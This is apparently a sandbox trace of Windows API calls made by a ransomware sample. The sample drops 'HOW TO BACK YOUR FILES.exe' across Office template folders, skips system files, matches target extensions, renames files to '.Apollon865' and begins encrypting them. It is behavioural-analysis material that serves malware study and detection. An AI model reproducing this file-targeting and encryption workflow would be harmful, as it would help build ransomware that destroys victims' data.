	[0062.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8e) returned 0x5c8f30
	[0062.719] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0062.719] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0
	[0062.719] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.719] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0062.719] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery"
	[0062.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0062.719] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0062.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery") returned 70
	[0062.719] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery"
	[0062.719] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.719] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\stationery\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.725] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d750b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d750b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.725] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.725] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.725] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="ACADEMIC.ONE" | out: lpString1="ACADEMIC.ONE") returned="ACADEMIC.ONE"
	[0062.725] lstrlenW (lpString="ACADEMIC.ONE") returned 12
	[0062.725] lstrlenW (lpString="Apollon865") returned 10
	[0062.725] lstrcmpiW (lpString1="ADEMIC.ONE", lpString2="Apollon865") returned -1
	[0062.725] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="BLANK.ONE" | out: lpString1="BLANK.ONE") returned="BLANK.ONE"
	[0062.725] lstrlenW (lpString="BLANK.ONE") returned 9
	[0062.725] lstrlenW (lpString="Apollon865") returned 10
	[0062.725] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="BUSINESS.ONE" | out: lpString1="BUSINESS.ONE") returned="BUSINESS.ONE"
	[0062.725] lstrlenW (lpString="BUSINESS.ONE") returned 12
	[0062.725] lstrlenW (lpString="Apollon865") returned 10
	[0062.725] lstrcmpiW (lpString1="SINESS.ONE", lpString2="Apollon865") returned 1
	[0062.725] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="DESIGNER.ONE" | out: lpString1="DESIGNER.ONE") returned="DESIGNER.ONE"
	[0062.726] lstrlenW (lpString="DESIGNER.ONE") returned 12
	[0062.726] lstrlenW (lpString="Apollon865") returned 10
	[0062.726] lstrcmpiW (lpString1="SIGNER.ONE", lpString2="Apollon865") returned 1
	[0062.726] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="PLANNERS.ONE" | out: lpString1="PLANNERS.ONE") returned="PLANNERS.ONE"
	[0062.726] lstrlenW (lpString="PLANNERS.ONE") returned 12
	[0062.726] lstrlenW (lpString="Apollon865") returned 10
	[0062.726] lstrcmpiW (lpString1="ANNERS.ONE", lpString2="Apollon865") returned -1
	[0062.726] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates"
	[0062.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafd0 | out: hHeap=0x580000) returned 1
	[0062.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0062.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates") returned 78
	[0062.726] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates"
	[0062.726] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.726] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\onenote\\14\\notebook templates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.731] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d750b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d750b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.731] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.731] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.731] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="Notebook03.onepkg" | out: lpString1="Notebook03.onepkg") returned="Notebook03.onepkg"
	[0062.731] lstrlenW (lpString="Notebook03.onepkg") returned 17
	[0062.732] lstrlenW (lpString="Apollon865") returned 10
	[0062.732] lstrcmpiW (lpString1="k03.onepkg", lpString2="Apollon865") returned 1
	[0062.732] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX"
	[0062.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.732] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0062.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX") returned 52
	[0062.732] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX"
	[0062.732] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.732] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.737] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d776cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d776cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.737] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.737] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.738] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="EquityFax.Dotx" | out: lpString1="EquityFax.Dotx") returned="EquityFax.Dotx"
	[0062.738] lstrlenW (lpString="EquityFax.Dotx") returned 14
	[0062.738] lstrlenW (lpString="Apollon865") returned 10
	[0062.738] lstrcmpiW (lpString1="tyFax.Dotx", lpString2="Apollon865") returned 1
	[0062.738] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="MedianFax.Dotx" | out: lpString1="MedianFax.Dotx") returned="MedianFax.Dotx"
	[0062.738] lstrlenW (lpString="MedianFax.Dotx") returned 14
	[0062.738] lstrlenW (lpString="Apollon865") returned 10
	[0062.738] lstrcmpiW (lpString1="anFax.Dotx", lpString2="Apollon865") returned -1
	[0062.738] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="OrielFax.Dotx" | out: lpString1="OrielFax.Dotx") returned="OrielFax.Dotx"
	[0062.738] lstrlenW (lpString="OrielFax.Dotx") returned 13
	[0062.738] lstrlenW (lpString="Apollon865") returned 10
	[0062.738] lstrcmpiW (lpString1="elFax.Dotx", lpString2="Apollon865") returned 1
	[0062.738] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="OriginFax.Dotx" | out: lpString1="OriginFax.Dotx") returned="OriginFax.Dotx"
	[0062.738] lstrlenW (lpString="OriginFax.Dotx") returned 14
	[0062.738] lstrlenW (lpString="Apollon865") returned 10
	[0062.738] lstrcmpiW (lpString1="inFax.Dotx", lpString2="Apollon865") returned 1
	[0062.738] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="UrbanFax.Dotx" | out: lpString1="UrbanFax.Dotx") returned="UrbanFax.Dotx"
	[0062.738] lstrlenW (lpString="UrbanFax.Dotx") returned 13
	[0062.738] lstrlenW (lpString="Apollon865") returned 10
	[0062.738] lstrcmpiW (lpString1="anFax.Dotx", lpString2="Apollon865") returned -1
	[0062.738] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access"
	[0062.738] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0062.739] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0062.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned 55
	[0062.739] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access"
	[0062.739] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.739] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.744] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.744] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d776cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d776cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.745] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.745] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.745] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Assets.accdt" | out: lpString1="Assets.accdt") returned="Assets.accdt"
	[0062.745] lstrlenW (lpString="Assets.accdt") returned 12
	[0062.745] lstrlenW (lpString="Apollon865") returned 10
	[0062.745] lstrcmpiW (lpString1="sets.accdt", lpString2="Apollon865") returned 1
	[0062.745] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt.Apollon865") returned 79
	[0062.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt.apollon865"), dwFlags=0x1) returned 1
	[0062.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\assets.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0062.746] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1036366) returned 1
	[0062.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0062.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0062.747] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0062.747] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0062.748] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0062.748] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0062.748] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfd350, lpName=0x0) returned 0x14c
	[0062.751] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfd350) returned 0x2b40000
	[0063.207] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0063.208] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0063.208] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0063.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0063.208] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.208] UnmapViewOfFile (lpBaseAddress=0x2b40000) returned 1
	[0063.218] CloseHandle (hObject=0x14c) returned 1
	[0063.218] CloseHandle (hObject=0x150) returned 1
	[0063.218] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0063.218] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0063.218] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0063.223] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a2ad00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f0a970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50a2ad00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1af3fd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Charitable Contributions.accdt", cAlternateFileName="CHARIT~1.ACC")) returned 1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2=".") returned 1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="..") returned 1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="windows") returned -1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="bootmgr") returned 1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="temp") returned -1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="pagefile.sys") returned -1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="boot") returned 1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="ids.txt") returned -1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="ntuser.dat") returned -1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="perflogs") returned -1
	[0063.223] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2="MSBuild") returned -1
	[0063.223] lstrlenW (lpString="Charitable Contributions.accdt") returned 30
	[0063.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Assets.accdt") returned 68
	[0063.223] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Charitable Contributions.accdt" | out: lpString1="Charitable Contributions.accdt") returned="Charitable Contributions.accdt"
	[0063.223] lstrlenW (lpString="Charitable Contributions.accdt") returned 30
	[0063.223] lstrlenW (lpString="Apollon865") returned 10
	[0063.224] lstrcmpiW (lpString1="ions.accdt", lpString2="Apollon865") returned 1
	[0063.224] lstrlenW (lpString=".dll") returned 4
	[0063.224] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2=".dll") returned 1
	[0063.224] lstrlenW (lpString=".lnk") returned 4
	[0063.224] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2=".lnk") returned 1
	[0063.224] lstrlenW (lpString=".ini") returned 4
	[0063.224] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2=".ini") returned 1
	[0063.224] lstrlenW (lpString=".sys") returned 4
	[0063.224] lstrcmpiW (lpString1="Charitable Contributions.accdt", lpString2=".sys") returned 1
	[0063.224] lstrlenW (lpString="Charitable Contributions.accdt") returned 30
	[0063.224] lstrlenW (lpString="bak") returned 3
	[0063.224] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0063.224] lstrlenW (lpString="ba_") returned 3
	[0063.224] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0063.224] lstrlenW (lpString="dbb") returned 3
	[0063.224] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0063.224] lstrlenW (lpString="vmdk") returned 4
	[0063.224] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0063.224] lstrlenW (lpString="rar") returned 3
	[0063.224] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0063.224] lstrlenW (lpString="zip") returned 3
	[0063.224] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0063.224] lstrlenW (lpString="tgz") returned 3
	[0063.224] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0063.224] lstrlenW (lpString="vbox") returned 4
	[0063.224] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0063.224] lstrlenW (lpString="vdi") returned 3
	[0063.224] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0063.224] lstrlenW (lpString="vhd") returned 3
	[0063.224] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0063.224] lstrlenW (lpString="vhdx") returned 4
	[0063.224] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0063.224] lstrlenW (lpString="avhd") returned 4
	[0063.225] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0063.225] lstrlenW (lpString="db") returned 2
	[0063.225] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0063.225] lstrlenW (lpString="db2") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0063.225] lstrlenW (lpString="db3") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0063.225] lstrlenW (lpString="dbf") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0063.225] lstrlenW (lpString="mdf") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0063.225] lstrlenW (lpString="mdb") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0063.225] lstrlenW (lpString="sql") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0063.225] lstrlenW (lpString="sqlite") returned 6
	[0063.225] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0063.225] lstrlenW (lpString="sqlite3") returned 7
	[0063.225] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0063.225] lstrlenW (lpString="sqlitedb") returned 8
	[0063.225] lstrcmpiW (lpString1="ns.accdt", lpString2="sqlitedb") returned -1
	[0063.225] lstrlenW (lpString="xml") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0063.225] lstrlenW (lpString="$er") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0063.225] lstrlenW (lpString="4dd") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0063.225] lstrlenW (lpString="4dl") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0063.225] lstrlenW (lpString="^^^") returned 3
	[0063.225] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0063.225] lstrlenW (lpString="abs") returned 3
	[0063.226] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0063.226] lstrlenW (lpString="abx") returned 3
	[0063.226] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0063.226] lstrlenW (lpString="accdb") returned 5
	[0063.226] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0063.226] lstrlenW (lpString="accdc") returned 5
	[0063.226] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0063.226] lstrlenW (lpString="accde") returned 5
	[0063.226] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0063.226] lstrlenW (lpString="accdr") returned 5
	[0063.226] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0063.226] lstrlenW (lpString="accdt") returned 5
	[0063.226] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0063.226] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt.Apollon865") returned 97
	[0063.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt.apollon865"), dwFlags=0x1) returned 1
	[0063.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\charitable contributions.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0063.227] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1766397) returned 1
	[0063.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
